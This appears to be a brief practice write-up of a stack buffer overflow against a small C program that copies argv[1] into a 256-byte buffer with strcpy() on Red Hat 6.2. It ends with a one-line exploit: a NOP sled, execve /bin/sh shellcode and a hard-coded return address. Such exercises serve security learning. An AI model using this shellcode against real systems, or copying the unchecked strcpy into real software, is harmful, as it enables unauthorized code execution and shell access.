bigbof01

Bigbof.c source code 

	int main(int argc, char* argv[]){
	char buffer[256];
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
	return 0;
	}

view raw bigbof01.c hosted with ❤ by GitHub

Stack Frame

 
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 

print  "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x28\xfc\xff\xbf"